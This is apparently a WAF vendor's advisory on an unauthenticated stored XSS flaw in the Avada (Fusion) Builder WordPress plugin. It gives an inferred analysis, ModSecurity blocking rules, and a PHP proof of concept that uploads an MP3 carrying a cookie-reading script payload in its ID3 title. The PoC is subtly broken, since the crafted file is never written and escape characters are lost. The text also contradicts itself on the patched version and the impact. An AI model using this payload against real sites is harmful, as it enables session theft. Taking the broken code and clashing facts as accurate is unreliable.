Opens in a new tab
Published : November 15, 2026

CVE-2026-84938: Avada (Fusion) Builder <= 3.16.1 Unauthenticated Stored Cross-Site Scripting via Form Notification Dynamic-Data action_hook PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 3.16.1
Patched Version —
Disclosed November 8, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-84938 (metadata-based): This vulnerability is an unauthenticated Stored Cross-Site Scripting (XSS) flaw in the Avada (Fusion) Builder WordPress plugin, affecting versions up to and including 3.16.1. The vulnerability resides in the plugin’s handling of Form Notification Dynamic-Data action_hook, specifically through a Media Upload Chain involving ID3 metadata and html_attributes. Successful exploitation allows an attacker to inject arbitrary web scripts into pages that execute when a user visits the injected page. The CVSS score is 7.2 (High), with a scope change indicating potential impact beyond the vulnerable component.

Root Cause: The root cause is insufficient input sanitization and output escaping, as classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). Atomic Edge analysis infers that the plugin fails to properly sanitize user-supplied data (likely ID3 metadata from uploaded media files or html_attributes in form notifications) before storing it and later rendering it in a page context. The description states the flaw is in the Dynamic-Data action_hook callback, which likely executes with manage_options privileges when a Fusion Form is embedded on an admin-authored page. This suggests a privilege boundary crossing where unauthenticated input reaches a high-privilege context. The exact code path is not confirmed due to lack of source diff, but the CWE and description strongly indicate missing or inadequate escaping on output and sanitization on input.

Exploitation: An unauthenticated attacker can exploit this by submitting a crafted media file (likely via a form upload feature) containing malicious JavaScript in ID3 metadata or by manipulating html_attributes in a form notification. The payload is stored and later rendered when a Post Cards element displays attachment post types on a publicly accessible page. The attacker does not need authentication; the attack vector is network-based (AV:N), low complexity (AC:L), and requires no user interaction (UI:N) from the attacker’s perspective, though the victim must visit the injected page. Atomic Edge research infers the attack sequence: (1) identify a public page with a Fusion Form that triggers the Dynamic-Data action_hook, (2) upload a malicious media file or inject payload via form fields, (3) the payload is stored, (4) when an admin views the form entry or the page with Post Cards, the script executes. The CVSS vector indicates confidentiality and integrity impact are low (C:L/I:L) due to scope change, meaning the vulnerable component impacts resources beyond its security scope (e.g., admin actions).

Remediation: The fix in version 3.16.2 likely requires proper sanitization of input (e.g., using sanitize_text_field, wp_kses, or similar) and output escaping (e.g., esc_html, esc_attr) for the Dynamic-Data action_hook and any associated media metadata processing. Atomic Edge analysis infers that the patch may also restrict the action_hook to only execute in appropriate contexts or validate capabilities before processing dynamic data. Developers should ensure all user-controllable data is escaped on output and sanitized on input, adhering to WordPress coding standards.

Impact: Exploitation allows an attacker to execute arbitrary JavaScript in the context of an administrator or other privileged user’s browser, potentially leading to session hijacking, privilege escalation (by creating new admin accounts), data theft, or site takeover. The scope change (S:C) indicates the vulnerability can affect resources beyond the vulnerable plugin, such as the entire WordPress installation. The CVSS score of 7.2 reflects high impact on confidentiality and integrity, though availability is not affected (A:N).

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-84938 (metadata-based)
# This rule targets the inferred attack vector: unauthenticated file upload with malicious ID3 metadata or html_attributes.
# Due to the lack of specific endpoint details, we match on the presence of script tags in upload fields or form parameters.
# Precision is limited; this may block legitimate uploads containing script tags, but such cases are rare.

SecRule REQUEST_URI "@rx ^/wp-admin/admin-ajax.php$" 
  "id:2026084938,phase:2,deny,status:403,chain,msg:'CVE-2026-84938 via Avada Builder XSS',severity:'CRITICAL',tag:'CVE-2026-84938'"
  SecRule ARGS_POST:action "@streq fusion_form_submit" "chain"
    SecRule ARGS_POST "@detectXSS" "t:urlDecodeUni,t:htmlEntityDecode"

# Alternative rule if form submission is direct POST to a page.
SecRule REQUEST_METHOD "@streq POST" 
  "id:2026084939,phase:2,deny,status:403,chain,msg:'CVE-2026-84938 via Avada Builder XSS (direct POST)',severity:'CRITICAL',tag:'CVE-2026-84938'"
  SecRule REQUEST_URI "@rx ^/.*$" "chain"
    SecRule ARGS_POST "@detectXSS" "t:urlDecodeUni,t:htmlEntityDecode"

# Note: These rules are based on inferred attack patterns. The actual AJAX action name and parameters may differ.
# The metadata does not specify the exact endpoint or parameter names, so these rules are provisional.
# For better precision, the exact AJAX action (e.g., 'fusion_form_submit') and parameter names should be confirmed.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-84938 - Avada (Fusion) Builder <= 3.16.1 - Unauthenticated Stored Cross-Site Scripting via Form Notification Dynamic-Data action_hook

// This PoC is based on metadata and inferred attack patterns. Actual exploitability depends on specific plugin configuration.
// Assumptions: Target has Avada Builder <= 3.16.1, a Fusion Form embedded on an admin page, and a Post Cards element displaying attachments.

$target_url = 'http://example.com'; // Change to target WordPress site

// Step 1: Identify a public page with a Fusion Form that triggers the vulnerable action_hook.
// For this PoC, we assume the form is at /contact/ and uses a file upload field.

// Step 2: Craft a malicious media file with XSS payload in ID3 metadata.
// We create a minimal MP3 file with a TIT2 (title) frame containing JavaScript.
$payload = '<script>alert(document.cookie);</script>';
$id3_frame = "TIT2" . pack('N', strlen($payload) + 1) . "x00x00" . $payload;
$mp3_data = "ID3x03x00x00x00x00x00x00" . $id3_frame; // Simplified ID3 header

// Step 3: Upload the file via the form.
// Assume form action is the page itself and file input name is 'fusion_form_upload'.
$upload_url = $target_url . '/contact/'; // Adjust based on actual form location

$post_fields = [
    'fusion_form_upload' => new CURLFile(tempnam(sys_get_temp_dir(), 'mp3'), 'audio/mpeg', 'exploit.mp3'),
    'fusion_form_submit' => '1',
    // Additional form fields may be required; adjust as needed.
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $upload_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    echo "Upload successful. Payload stored.n";
    // Step 4: The payload executes when an admin views the form entry or the Post Cards page.
    // Attacker may need to trigger the action_hook by viewing a page with Post Cards displaying attachments.
} else {
    echo "Upload failed. HTTP code: $http_coden";
}

// Note: This PoC is theoretical. Actual exploitation may require additional steps such as
// triggering the Dynamic-Data action_hook via a specific form submission or page view.
// The XSS payload will execute in the context of an admin user if the vulnerable code path is reached.

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.